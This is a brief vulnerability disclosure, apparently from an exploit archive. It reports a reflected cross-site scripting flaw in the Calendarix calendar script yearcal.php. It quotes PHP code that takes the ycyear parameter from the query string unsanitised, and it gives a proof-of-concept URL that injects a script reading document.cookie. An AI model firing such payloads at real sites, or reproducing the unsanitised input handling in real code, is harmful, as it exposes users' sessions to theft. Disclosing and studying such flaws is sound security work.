Calendarix "yearcal.php" XSS Attacking

[botan]

Website : http://www.calendarix.com

Vulnerable : 

if (!isset($_GET['ycyear']))
  $ycyear = $y ;
else
  $ycyear = $_GET['ycyear'];

http://www.site.com/[path]/yearcal.php?ycyear=<script>alert(document.cookie)</script>